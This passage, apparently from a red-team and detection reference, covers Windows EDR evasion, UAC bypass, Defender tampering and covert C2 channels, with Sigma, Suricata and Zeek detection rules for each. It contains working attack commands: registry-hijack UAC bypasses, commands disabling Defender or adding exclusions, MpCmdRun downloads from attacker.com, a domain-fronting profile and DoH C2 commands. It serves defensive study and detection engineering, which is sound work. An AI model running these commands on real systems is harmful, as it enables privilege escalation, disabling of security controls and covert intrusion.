- Packer signature detection: YARA rules for known packer stubs (UPX, Themida, Hyperion)
- Import table analysis: packed binaries have minimal/suspicious imports
- Section name anomalies: non-standard section names from packers
- Behavioral: unpacking stub performing VirtualAlloc(RWX) -> memcpy -> jump pattern
- PE anomalies: section with both writable and executable flags, unusual entry point location
- IMPHASH tracking: known-bad import hash values across campaigns

---

## 11. PowerShell Obfuscation

### 11.1 Chameleon Techniques (ref: `klezVirus/Chameleon`)

**Scope-aware obfuscation**: Distinguishes global scope, function scope, and parameter blocks to avoid breaking function signatures during variable renaming.

**Technique layers**:
1. **Comment stripping**: Remove all comments (block and inline)
2. **String substitution**: Rename variables, functions, data types with random or dictionary-based names
3. **Variable concatenation**: Split identifiers across concatenation operators
4. **Indentation randomization**: Alter whitespace patterns to defeat formatting-based signatures
5. **Backtick insertion**: PowerShell escape character inserted semi-randomly (`` `I``n``v`o``k`e ``)
6. **Case randomization**: `InVoKe-ExPrEsSiOn`
7. **Encoding**: Base64 wrap, decimal encoding, or hybrid

**In-memory operation**: Unlike Chimera (file I/O per step), Chameleon operates entirely in memory — faster and no disk artifacts.

**DETECTION OPPORTUNITY**:
- Script Block Logging (Event ID 4104): captures deobfuscated content
- Module Logging (Event ID 4103): captures pipeline execution
- Transcription logging: full session capture
- Statistical analysis: character frequency, entropy, backtick density
- AMSI (when not bypassed): scans deobfuscated content before execution
- Behavioral: `Invoke-Expression`, `iex`, `[ScriptBlock]::Create()` usage patterns

---

## 12. BOF-Based Execution

### 12.1 Beacon Object Files (BOFs)

**Concept**: Small compiled C programs loaded directly into the Beacon process, executing in-process without fork-and-run (ref: `trustedsec/CS-Situational-Awareness-BOF`).

**Advantages over fork-and-run**:
- No child process creation (avoids `CreateProcess` monitoring)
- No cross-process injection (avoids `WriteProcessMemory` / `CreateRemoteThread`)
- Smaller memory footprint
- Faster execution

**CS-SA-BOF collection (70+ BOFs)**: ipconfig, netstat, arp, tasklist, ldapsearch, whoami, reg_query, schtasksenum, adcs_enum, get_password_policy, list_firewall_rules, etc.

**API diversity**: Uses COM objects, NetApi32, LDAP, WMI — diversifying API patterns to avoid single-API detection rules.

### 12.2 BOF.NET

**Concept**: Extends BOF capability to .NET assemblies. Loads CLR into Beacon, creates AppDomain, executes .NET tools without disk staging or fork-and-run (ref: `CCob/BOF.NET`).

**DETECTION OPPORTUNITY (BOFs)**:
- Memory scanning: BOF code in Beacon process memory
- API call patterns: reconnaissance commands from unexpected processes
- Behavioral: single process performing diverse reconnaissance (network, AD, local enum)
- ETW: .NET CLR events in non-.NET processes (BOF.NET)
- Named pipe / Beacon communication patterns
- LDAP query patterns from non-domain-tool processes

---

## Appendix A: Combined Evasion Stack (Modern Red Team)

A contemporary implant chains these layers:

```
1. Payload:       Cobalt Strike / Mythic / Sliver beacon
2. Shellcode:     Donut conversion (.NET -> PIC shellcode)
3. Encryption:    AES-256 + Chaskey with random keys
4. Packing:       ProtectMyTooling chain (SGN -> Nimcrypt2 -> custom loader)
5. Signing:       Limelighter certificate clone from legitimate vendor
6. Delivery:      DLL sideload via signed EXE or LOLBin chain
7. Execution:     ScareCrow loader with:
                  - AMSI patch (AmsiScanBuffer)
                  - ETW patch (EtwEventWrite)
                  - ntdll unhook (KnownDLLs method)
                  - Direct syscalls (SysWhispers3 Jumper Randomized)
8. Injection:     Module stomping into legitimate DLL
9. Persistence:   COM hijack or scheduled task via direct API
10. C2 comms:     Domain fronting / CDN abuse / DNS-over-HTTPS
```

**Detection strategy for this stack**:
- Kernel callbacks (process, thread, image load) — cannot be unhooked from user mode
- `Microsoft-Windows-Threat-Intelligence` ETW provider (PPL-protected)
- Memory scanning for unbacked executable regions
- Call stack analysis on syscalls (RIP validation, return address verification)
- Behavioral analytics: process lineage, API call sequences, network patterns
- YARA on process memory for known implant signatures
- WFP filter audit for EDR silencing attempts
- ETW gap detection for blinded processes

---

## Appendix B: Tool Reference

| Tool | Purpose | URL |
|------|---------|-----|
| EDRs | EDR hook enumeration + bypass research | `Mr-Un1k0d3r/EDRs` |
| EDRSilencer | WFP-based EDR network blocking | `netero1010/EDRSilencer` |
| ScareCrow | Full-chain payload creation with EDR bypass | `optiv/ScareCrow` |
| Chameleon | PowerShell obfuscation for AMSI bypass | `klezVirus/Chameleon` |
| SharpCollection | Pre-compiled offensive .NET tools | `Flangvik/SharpCollection` |
| Donut | .NET/PE/script to shellcode conversion | `TheWover/donut` |
| AsmHalosGate | Halo's Gate direct syscall implementation | `boku7/AsmHalosGate` |
| SysWhispers | Direct syscall stub generation (v1) | `jthuraisamy/SysWhispers` |
| SysWhispers3 | Advanced syscall generation (egg hunter/jumper) | `klezVirus/SysWhispers3` |
| DInvoke | .NET dynamic invocation replacing P/Invoke | `TheWover/DInvoke` |
| BOF.NET | .NET assembly execution as BOFs | `CCob/BOF.NET` |
| CS-SA-BOF | Situational awareness BOF collection | `trustedsec/CS-Situational-Awareness-BOF` |
| DarkLoadLibrary | In-memory DLL loading without LoadLibrary | `bats3c/DarkLoadLibrary` |
| Limelighter | Code signing certificate cloning | `Tylous/Limelighter` |
| ProtectMyTooling | Multi-layer payload packing pipeline | `mgeeky/ProtectMyTooling` |

---

## 13. UAC Bypass Techniques

User Account Control (UAC) prompts for elevation when a medium-integrity process requests high-integrity access. UAC bypass techniques exploit auto-elevation mechanisms — trusted binaries, COM objects, and registry hijacks — to silently escalate from medium to high integrity without triggering the consent prompt. ATT&CK: T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control).

**Prerequisite**: Attacker must already have code execution as a local administrator account running at medium integrity (the default for interactive logons with UAC enabled). UAC bypass elevates to high integrity within the same admin account — it is NOT a privilege escalation from standard user to admin.

### 13.1 Fodhelper.exe Registry Hijack

**Concept**: `fodhelper.exe` is a Microsoft-signed binary that auto-elevates (runs at high integrity without UAC prompt). Before execution, it queries `HKCU\Software\Classes\ms-settings\Shell\Open\command` — a per-user registry location writable without elevation. By planting a command there, the attacker's payload is launched at high integrity by fodhelper.

**Mechanism**:
1. Create registry key: `HKCU\Software\Classes\ms-settings\Shell\Open\command`
2. Set `(Default)` value to payload path (e.g., `C:\temp\implant.exe` or `cmd.exe /c <command>`)
3. Create `DelegateExecute` string value (empty string) — required for the handler to fire
4. Execute `fodhelper.exe` — it reads the hijacked key and launches the payload at high integrity
5. Clean up registry keys

**Commands**:
```cmd
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe
reg delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
```

**PowerShell variant**:
```powershell
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "powershell.exe -ep bypass -file C:\temp\stage2.ps1"
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -PropertyType String -Force
Start-Process fodhelper.exe
Start-Sleep -Seconds 2
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Recurse -Force
```

**DETECTION OPPORTUNITY**:
- **Sysmon Event ID 12/13**: Registry creation/modification under `HKCU\Software\Classes\ms-settings\Shell\Open\command` — this key should almost never be written to legitimately
- **Process lineage**: `fodhelper.exe` spawning unexpected child processes (cmd.exe, powershell.exe, custom binaries)
- **Sysmon Event ID 1**: `fodhelper.exe` with parent process that is not `explorer.exe` or the Settings app
- **Sigma rule**: registry modification of ms-settings handler immediately before fodhelper execution

```yaml
title: Fodhelper UAC Bypass via ms-settings Registry Hijack
id: 7a4c5ae4-89f1-4b2a-b3e7-cf8d1e4a9b21
status: experimental
description: Detects modification of ms-settings shell command used to bypass UAC via fodhelper.exe
logsource:
  category: registry_set
  product: windows
detection:
  selection:
    TargetObject|contains: '\Software\Classes\ms-settings\Shell\Open\command'
  condition: selection
falsepositives:
  - Windows Settings app updates modifying protocol handlers (rare)
level: high
tags:
  - attack.t1548.002
  - attack.defense_evasion
  - attack.privilege_escalation
```

### 13.2 Computerdefaults.exe Registry Hijack

**Concept**: `computerdefaults.exe` (Set Default Programs) is another auto-elevating binary that queries the same `ms-settings` protocol handler as fodhelper. Identical registry hijack applies.

**Mechanism**: Same as fodhelper — the `HKCU\Software\Classes\ms-settings\Shell\Open\command` hijack works because both binaries resolve the `ms-settings:` protocol via the shell command registry path.

**Commands**:
```cmd
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c C:\temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
computerdefaults.exe
reg delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
```

**Advantage over fodhelper**: Less well-known, fewer detection rules in production. Functionally identical technique.

**DETECTION OPPORTUNITY**:
- Same registry monitoring as fodhelper (same key)
- Process lineage: `computerdefaults.exe` spawning unexpected children
- Sigma: extend fodhelper rules to include `computerdefaults.exe` as parent process

### 13.3 Eventvwr.exe Registry Hijack

**Concept**: `eventvwr.exe` (Event Viewer) auto-elevates and queries `HKCU\Software\Classes\mscfile\Shell\Open\command` to resolve the `.msc` file handler. By hijacking this key, the attacker redirects Event Viewer's MMC snap-in launch to a malicious payload (ref: enigma0x3 research).

**Mechanism**:
1. Create `HKCU\Software\Classes\mscfile\Shell\Open\command`
2. Set `(Default)` to payload path
3. Execute `eventvwr.exe` — it attempts to open `eventvwr.msc`, resolves via hijacked handler
4. Payload launches at high integrity

**Commands**:
```cmd
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "cmd.exe /c C:\temp\payload.exe" /f
eventvwr.exe
timeout /t 3
reg delete HKCU\Software\Classes\mscfile\Shell\Open\command /f
```

**DETECTION OPPORTUNITY**:
- **Sysmon Event ID 12/13**: Registry writes to `HKCU\Software\Classes\mscfile\Shell\Open\command`
- **Process lineage**: `eventvwr.exe` spawning anything other than `mmc.exe`
- **Behavioral**: the `mscfile` handler should point to `mmc.exe` — any deviation is anomalous

```yaml
title: Eventvwr UAC Bypass via mscfile Registry Hijack
id: 3e8b2c1d-5f7a-4d93-ae12-b4c6d8e5f932
status: experimental
description: Detects hijacking of mscfile shell handler for UAC bypass via eventvwr.exe
logsource:
  category: registry_set
  product: windows
detection:
  selection:
    TargetObject|contains: '\Software\Classes\mscfile\Shell\Open\command'
  condition: selection
falsepositives:
  - Administrative tools modifying MSC file associations (very rare in HKCU)
level: high
tags:
  - attack.t1548.002
  - attack.defense_evasion
  - attack.privilege_escalation
```

### 13.4 COM Object Elevation (CMSTPLUA / ICMLuaUtil)

**Concept**: Certain COM objects have auto-elevation flags set in their registration. The `CMSTPLUA` COM object (CLSID `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}`) exposes the `ICMLuaUtil` interface with a `ShellExec` method that executes commands at high integrity. No registry modification required — purely in-memory exploitation.

**Mechanism**:
1. `CoInitializeEx` — initialize COM
2. `CoGetObject` with elevation moniker: `Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}`
3. Call `ICMLuaUtil::ShellExec(payload_path, NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW)`
4. Payload runs at high integrity

**C++ skeleton**:
```cpp
#include <windows.h>
#include <objbase.h>

// ICMLuaUtil interface GUID
const IID IID_ICMLuaUtil = {0x6EDD6D74, 0xC007, 0x4E75, {0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}};

typedef interface ICMLuaUtil ICMLuaUtil;
typedef struct ICMLuaUtilVtbl {
    // IUnknown
    HRESULT(STDMETHODCALLTYPE *QueryInterface)(ICMLuaUtil*, REFIID, void**);
    ULONG(STDMETHODCALLTYPE *AddRef)(ICMLuaUtil*);
    ULONG(STDMETHODCALLTYPE *Release)(ICMLuaUtil*);
    // ICMLuaUtil
    HRESULT(STDMETHODCALLTYPE *SetRasCredentials)();
    HRESULT(STDMETHODCALLTYPE *SetRasEntryProperties)();
    HRESULT(STDMETHODCALLTYPE *DeleteRasEntry)();
    HRESULT(STDMETHODCALLTYPE *LaunchInfSection)();
    HRESULT(STDMETHODCALLTYPE *LaunchInfSectionEx)();
    HRESULT(STDMETHODCALLTYPE *CreateLayerDirectory)();
    HRESULT(STDMETHODCALLTYPE *ShellExec)(
        ICMLuaUtil *This, LPCWSTR lpFile, LPCWSTR lpParameters,
        LPCWSTR lpDirectory, ULONG fMask, ULONG nShow);
} ICMLuaUtilVtbl;

// Usage:
// CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
//             &bo, &IID_ICMLuaUtil, (void**)&pCMLuaUtil);
// pCMLuaUtil->lpVtbl->ShellExec(pCMLuaUtil, L"C:\\temp\\payload.exe", NULL, NULL, 0, SW_SHOW);
```

**Advantage**: No filesystem or registry artifacts. Executes entirely through COM elevation moniker.

**DETECTION OPPORTUNITY**:
- **ETW COM provider**: `CoGetObject` calls using `Elevation:Administrator!new:` moniker
- **Sysmon Event ID 1**: elevated process spawned by `DllHost.exe` (COM surrogate) with command line containing the CMSTPLUA CLSID
- **Process lineage**: `DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` spawning child processes
- **Behavioral**: `DllHost.exe` with elevated integrity spawning executables from user-writable paths

```yaml
title: UAC Bypass via CMSTPLUA COM Object Elevation
id: a2d4e8b1-c3f7-4a59-9e1b-d6f2c8a54e73
status: experimental
description: Detects DllHost.exe loading CMSTPLUA COM object used for UAC bypass
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\DllHost.exe'
    CommandLine|contains: '{3E5FC7F9-9A51-4367-9063-A120244FBEC7}'
  condition: selection
falsepositives:
  - Connection Manager Admin Kit legitimate usage (extremely rare on workstations)
level: critical
tags:
  - attack.t1548.002
  - attack.defense_evasion
  - attack.privilege_escalation
```

### 13.5 COM Object Elevation — ColorDataProxy / ICMLuaUtil Alternative CLSIDs

**Concept**: Multiple COM objects support auto-elevation beyond CMSTPLUA. Attackers cycle through CLSIDs to evade detection rules targeting a single known CLSID.

**Known auto-elevating CLSIDs**:
| CLSID | Object | Interface |
|-------|--------|-----------|
| `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` | CMSTPLUA | ICMLuaUtil (ShellExec) |
| `{D2E7025F-2709-457B-9768-7F994C7B8681}` | ColorDataProxy | ICMLuaUtil |
| `{0A29FF9E-7F9C-4437-8B11-F424491E3931}` | Connection Manager LUA | ICMLuaUtil |
| `{E9495B87-D950-4AB5-87A5-FF6D70BF3E90}` | WUDF Host | ShellExec via IElevatedFactoryServer |

**Mechanism**: Same elevation moniker technique, different CLSID substituted.

**DETECTION OPPORTUNITY**:
- **Comprehensive CLSID monitoring**: maintain a list of known auto-elevating CLSIDs; alert on `DllHost.exe` loading any of them
- **Generic detection**: any `DllHost.exe` process at high integrity spawning child processes is suspicious regardless of CLSID
- **COM registration monitoring**: new auto-elevation CLSIDs being registered

```yaml
title: UAC Bypass via Known Auto-Elevating COM Objects
id: f7b31e2c-8a94-4d56-b1e3-c9a8d5f6e047
status: experimental
description: Detects DllHost.exe loading known auto-elevating COM CLSIDs used for UAC bypass
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\DllHost.exe'
    CommandLine|contains:
      - '{3E5FC7F9-9A51-4367-9063-A120244FBEC7}'
      - '{D2E7025F-2709-457B-9768-7F994C7B8681}'
      - '{0A29FF9E-7F9C-4437-8B11-F424491E3931}'
      - '{E9495B87-D950-4AB5-87A5-FF6D70BF3E90}'
  condition: selection
falsepositives:
  - Legitimate Connection Manager usage in enterprise VPN deployments
level: high
tags:
  - attack.t1548.002
  - attack.defense_evasion
  - attack.privilege_escalation
```

---

## 14. Windows Defender Evasion

Windows Defender (Microsoft Defender Antivirus) is the default AV/EDR on Windows 10/11. These techniques specifically target Defender's configuration, exclusions, and operational modes. ATT&CK: T1562.001 (Impair Defenses: Disable or Modify Tools).

### 14.1 Exclusion Path Abuse

**Concept**: Defender respects path, extension, and process exclusions configured via Group Policy, PowerShell, or registry. Attackers with admin access add exclusions for their payload directory, then operate with impunity within that path.

**Mechanism**:
```powershell
# Add path exclusion (requires elevated privileges)
Add-MpPreference -ExclusionPath "C:\ProgramData\updater"

# Add extension exclusion
Add-MpPreference -ExclusionExtension ".dat"

# Add process exclusion — all files opened by this process are excluded from scanning
Add-MpPreference -ExclusionProcess "C:\ProgramData\updater\svchost.exe"

# Verify exclusions are applied
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
```

**Registry locations** (same data, alternate access path):
```
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
```

**Group Policy path**: `Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Exclusions`

**Pre-existing exclusion discovery** (attacker reconnaissance):
```powershell
# Query existing exclusions to drop payloads in already-excluded paths
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
Get-MpPreference | Select-Object ExclusionPath, ExclusionExtension, ExclusionProcess
```

**DETECTION OPPORTUNITY**:
- **Event ID 5007** (Microsoft-Windows-Windows Defender/Operational): Logs all Defender configuration changes including exclusion additions
- **Sysmon Event ID 12/13**: Registry writes to `HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\*`
- **PowerShell Script Block Logging**: `Add-MpPreference -Exclusion*` commands
- **Behavioral**: exclusion added to user-writable directory (C:\Users\*, C:\ProgramData\*, C:\temp\*)
- **Periodic audit**: compare current exclusion list against approved baseline

```yaml
title: Windows Defender Exclusion Added to Suspicious Path
id: 4c8e2a15-d7b3-49f6-8e1c-a5d3b9c72f48
status: experimental
description: Detects Defender exclusion additions targeting user-writable or temp directories
logsource:
  product: windows
  service: windefend
detection:
  selection:
    EventID: 5007
    NewValue|contains:
      - 'ExclusionPath'
      - 'ExclusionProcess'
      - 'ExclusionExtension'
  filter_legitimate:
    NewValue|contains:
      - 'C:\\Program Files\\'
      - 'C:\\Program Files (x86)\\'
  condition: selection and not filter_legitimate
falsepositives:
  - IT administrators adding exclusions for legitimate enterprise software
  - Development environments excluding build directories
level: high
tags:
  - attack.t1562.001
  - attack.defense_evasion
```

### 14.2 MpCmdRun.exe Abuse for Payload Download

**Concept**: `MpCmdRun.exe` is Defender's command-line utility. It supports downloading files via its signature update mechanism. Because it is a Microsoft-signed Defender binary, its network activity is typically trusted. ATT&CK: T1105 (Ingress Tool Transfer).

**Mechanism**:
```cmd
# Download file via MpCmdRun (abusing the -DownloadFile parameter)
"C:\ProgramData\Microsoft\Windows Defender\Platform\<version>\MpCmdRun.exe" -DownloadFile -url http://attacker.com/payload.exe -path C:\temp\payload.exe

# Alternative: use -url with HTTPS for encrypted download
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2301.6-0\MpCmdRun.exe" -DownloadFile -url https://attacker.com/stage2.dll -path C:\ProgramData\updater\module.dll
```

**Additional MpCmdRun abuse vectors**:
```cmd
# Remove all Defender signatures (degrades detection to heuristics-only)
MpCmdRun.exe -RemoveDefinitions -All

# Remove only dynamic signatures
MpCmdRun.exe -RemoveDefinitions -DynamicSignatures

# Disable scanning of a specific path retroactively
MpCmdRun.exe -Restore -ListAll
```

**DETECTION OPPORTUNITY**:
- **Sysmon Event ID 1**: `MpCmdRun.exe` with `-DownloadFile` or `-RemoveDefinitions` in command line
- **Network monitoring**: `MpCmdRun.exe` connecting to non-Microsoft domains
- **Process lineage**: `MpCmdRun.exe` launched by anything other than Defender service or scheduled tasks
- **File creation**: files written by `MpCmdRun.exe` outside signature update directories

```yaml
title: MpCmdRun Abused for File Download or Definition Removal
id: b5e8c3d2-1a47-4f93-9c6e-d8b2a7f15e39
status: experimental
description: Detects MpCmdRun.exe used to download files or remove Defender signatures
logsource:
  category: process_creation
  product: windows
detection:
  selection_download:
    Image|endswith: '\MpCmdRun.exe'
    CommandLine|contains: '-DownloadFile'
  selection_remove:
    Image|endswith: '\MpCmdRun.exe'
    CommandLine|contains: '-RemoveDefinitions'
  condition: selection_download or selection_remove
falsepositives:
  - Automated Defender signature management scripts (should be baselined)
level: high
tags:
  - attack.t1105
  - attack.t1562.001
  - attack.defense_evasion
```

### 14.3 Real-Time Protection Toggle

**Concept**: With admin privileges, an attacker can disable Defender's real-time protection, cloud-delivered protection, and behavior monitoring. This creates a window to execute payloads, stage tools, or establish persistence before re-enabling protection.

**Mechanism**:
```powershell
# Disable real-time monitoring
Set-MpPreference -DisableRealtimeMonitoring $true

# Disable behavior monitoring
Set-MpPreference -DisableBehaviorMonitoring $true

# Disable IOAV (Internet & Outlook attachment) protection
Set-MpPreference -DisableIOAVProtection $true

# Disable cloud-delivered protection (delays detection of new malware)
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -SubmitSamplesConsent 2  # Never send

# Disable script scanning
Set-MpPreference -DisableScriptScanning $true

# Nuclear option: disable via service (requires SYSTEM or TrustedInstaller)
sc stop WinDefend
sc config WinDefend start= disabled
```

**Registry-based disabling** (persists across reboots if Tamper Protection is off):
```cmd
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
```

**Tamper Protection caveat**: Windows 10 1903+ includes Tamper Protection that prevents modification of security settings via PowerShell/registry. Must be disabled through Security Center GUI, Intune, or by exploiting `WdFilter.sys` driver. Tamper Protection state is stored in `HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection`.

**DETECTION OPPORTUNITY**:
- **Event ID 5001** (Microsoft-Windows-Windows Defender/Operational): Real-time protection disabled
- **Event ID 5004**: Real-time protection configuration changed
- **Event ID 5007**: Configuration change event (covers all MpPreference modifications)
- **Event ID 5010**: Scanning for malware/unwanted software is disabled
- **Sysmon Event ID 13**: Registry modifications under Windows Defender policy keys
- **PowerShell logging**: `Set-MpPreference -Disable*` commands
- **Service state monitoring**: WinDefend service stopping unexpectedly

```yaml
title: Windows Defender Real-Time Protection Disabled
id: e1d4f7a2-6b93-4c58-a2d1-f8e5c3b94d67
status: experimental
description: Detects disabling of Defender real-time protection via PowerShell or registry
logsource:
  product: windows
  service: windefend
detection:
  selection:
    EventID:
      - 5001
      - 5010
      - 5007
  condition: selection
falsepositives:
  - IT-managed Defender configuration changes during software deployment windows
  - Third-party AV installation that disables Defender
level: critical
tags:
  - attack.t1562.001
  - attack.defense_evasion
```

### 14.4 Controlled Folder Access Bypass

**Concept**: Defender's Controlled Folder Access (CFA) protects specific directories from unauthorized modification. Bypass by using trusted applications (LOLBins) that are whitelisted by CFA to write files on the attacker's behalf.

**Known CFA-trusted processes**: `explorer.exe`, `cmd.exe` (via some system operations), `powershell.exe` (partial), `svchost.exe`

**Mechanism**: Use trusted process as a proxy — e.g., spawn `explorer.exe` to copy files into protected directories, or abuse `wscript.exe` COM automation.

**DETECTION OPPORTUNITY**:
- Behavioral: trusted process writing unusual file types to protected folders
- File integrity monitoring on CFA-protected directories
- Anomalous file creation patterns within protected paths

---

## 15. Network Evasion

Network-layer evasion focuses on making C2 traffic indistinguishable from legitimate traffic, bypassing TLS inspection, and abusing trusted infrastructure. ATT&CK: T1071 (Application Layer Protocol), T1090.004 (Proxy: Domain Fronting), T1572 (Protocol Tunneling).

### 15.1 Domain Fronting

**Concept**: Exploit the discrepancy between the SNI field (plaintext in TLS ClientHello) and the HTTP `Host` header (encrypted inside TLS). The TLS connection terminates at a CDN edge node based on SNI, but the CDN routes the request internally based on the `Host` header — which points to the attacker's C2 domain hosted on the same CDN.

**Mechanism**:
1. Attacker registers domain on same CDN as a high-reputation domain (e.g., both on CloudFront, Azure CDN, or Fastly)
2. C2 implant sends HTTPS request with:
   - **SNI**: `www.legitimate-company.com` (appears in plaintext, passes reputation filters)
   - **Host header**: `c2.attacker-cdn-endpoint.com` (encrypted, routed by CDN)
3. CDN edge accepts the TLS connection based on SNI, then routes to attacker's origin based on Host header
4. Network monitoring sees only TLS connections to `www.legitimate-company.com`

**Cobalt Strike profile** (Malleable C2):
```
https-certificate {
    set CN "www.legitimate-company.com";
}

http-get {
    set uri "/api/v1/updates";
    client {
        header "Host" "c2.attacker-cdn.cloudfront.net";
    }
}
```

**CDN-specific fronting**:
- **Azure CDN**: Use `*.azureedge.net` SNI to front through Azure
- **CloudFront**: Use any CloudFront-hosted domain as the SNI; route via Host to attacker's distribution
- **Fastly**: Shared TLS certificates allow fronting across customer domains
- **Google Cloud CDN**: Historically allowed; increasingly restricted

**Limitation**: Major CDN providers have been restricting domain fronting since 2018. AWS CloudFront now validates that SNI matches Host header. Azure implemented similar checks. Fastly and smaller CDNs may still permit it. Some operators now use **domain borrowing** — finding CDN configurations where the backend allows wildcard routing.

**DETECTION OPPORTUNITY**:
- **TLS inspection (where legal/possible)**: Compare SNI field with decrypted HTTP Host header — mismatch is a strong indicator
- **JA3/JA3S fingerprinting**: Implant TLS fingerprint won't match browser expectations for the fronted domain
- **Network metadata**: unusual traffic volumes or patterns to CDN edge nodes that don't correlate with expected user behavior
- **DNS + TLS correlation**: DNS resolution for a domain that then receives no TLS connections (the fronted domain resolves differently)
- **Certificate transparency**: monitor for attacker domains registered on the same CDN infrastructure

**Suricata rule** (SNI-based metadata logging for correlation):
```
alert tls $HOME_NET any -> any any (msg:"TLS SNI to monitored CDN endpoint"; \
  tls.sni; content:"cloudfront.net"; \
  flow:established,to_server; \
  sid:1000001; rev:1;)
```

**Zeek detection** (SNI vs certificate subject mismatch):
```zeek
event ssl_extension_server_name(c: connection, is_client: bool, names: string_vec) {
    if (is_client && |names| > 0) {
        c$ssl$sni = names[0];
    }
}

event ssl_established(c: connection) {
    if (c$ssl?$sni && c$ssl?$subject) {
        local sni_domain = c$ssl$sni;
        local cert_cn = c$ssl$subject;
        if (sni_domain !in cert_cn) {
            NOTICE([$note=SSL::Invalid_Server_Cert,
                    $msg=fmt("SNI/cert mismatch: SNI=%s cert=%s", sni_domain, cert_cn),
                    $conn=c]);
        }
    }
}
```

### 15.2 DNS-over-HTTPS (DoH) for C2

**Concept**: Tunnel C2 communications inside DNS-over-HTTPS queries. Traffic appears as HTTPS to well-known DoH providers (Cloudflare 1.1.1.1, Google 8.8.8.8). DNS queries/responses carry encoded C2 data. ATT&CK: T1071.004 (Application Layer Protocol: DNS) + T1572 (Protocol Tunneling).

**Mechanism**:
1. Implant encodes C2 data in DNS queries (TXT, CNAME, AAAA records for attacker-controlled domain)
2. Queries are sent over HTTPS to a DoH provider endpoint:
   - `https://cloudflare-dns.com/dns-query`
   - `https://dns.google/dns-query`
   - `https://dns.quad9.net/dns-query`
3. DoH provider resolves the query, returns the DNS response (containing C2 data) over HTTPS
4. Network monitoring sees only HTTPS to Cloudflare/Google — legitimate DoH traffic

**Implementation approaches**:
- **DNScat2-over-DoH**: Wrap DNScat2 traffic in DoH queries
- **Godoh** (ref: `sensepost/godoh`): Purpose-built DoH C2 channel in Go
- **Custom**: HTTP client POSTing wire-format DNS queries to DoH endpoints

**Godoh example**:
```bash
# Server (attacker):
godoh --provider cloudflare --domain c2.attacker.com receive

# Client (implant):
godoh --provider cloudflare --domain c2.attacker.com send
```

**Data encoding in DNS**:
```
# Exfiltration via TXT record query:
# Encode data in subdomain labels (max 63 chars per label, 253 total)
<base32_encoded_data>.c2.attacker.com TXT

# Response carries commands in TXT record response
```

**DETECTION OPPORTUNITY**:
- **DoH endpoint monitoring**: Alert on connections to known DoH provider IPs/domains from non-browser processes
- **Process-to-DNS correlation**: Normal applications use the system DNS resolver; processes making direct HTTPS connections to DoH endpoints are anomalous
- **Encrypted DNS policy**: Block or proxy all DoH traffic through corporate DNS infrastructure (enforce via firewall rules blocking known DoH IPs)
- **Traffic volume**: DNS-based C2 generates many small HTTPS requests to DoH providers — unusual frequency patterns

**Suricata rule** (detect DoH to common providers):
```
alert tls $HOME_NET any -> any 443 (msg:"Possible DNS-over-HTTPS to Cloudflare"; \
  tls.sni; content:"cloudflare-dns.com"; \
  flow:established,to_server; \
  classtype:policy-violation; \
  sid:1000010; rev:1;)

alert tls $HOME_NET any -> any 443 (msg:"Possible DNS-over-HTTPS to Google"; \
  tls.sni; content:"dns.google"; \
  flow:established,to_server; \
  classtype:policy-violation; \
  sid:1000011; rev:1;)
```

**Zeek detection** (DoH endpoint tracking):
```zeek
const doh_endpoints: set[string] = {
    "cloudflare-dns.com",
    "dns.google",
    "dns.quad9.net",
    "doh.opendns.com",
    "dns.adguard.com",
    "doh.cleanbrowsing.org"
};

event ssl_extension_server_name(c: connection, is_client: bool, names: string_vec) {
    if (is_client && |names| > 0 && names[0] in doh_endpoints) {
        NOTICE([$note=DNS::External_DoH_Query,
                $msg=fmt("DoH connection to %s from %s", names[0], c$id$orig_h),
                $conn=c]);
    }
}
```

### 15.3 CDN Abuse for C2 Redirectors

**Concept**: Use legitimate CDN infrastructure (CloudFront, Azure CDN, Fastly, Akamai) as C2 redirectors. The CDN acts as a reverse proxy, forwarding C2 traffic to the attacker's origin server. The implant connects to a CDN edge node with high reputation. ATT&CK: T1090.002 (Proxy: External Proxy).

**Mechanism**:
1. Register CDN distribution pointing to attacker's C2 server as origin
2. Optionally use a legitimate-looking domain (e.g., `updates.company-cdn.com`) via CNAME to CDN
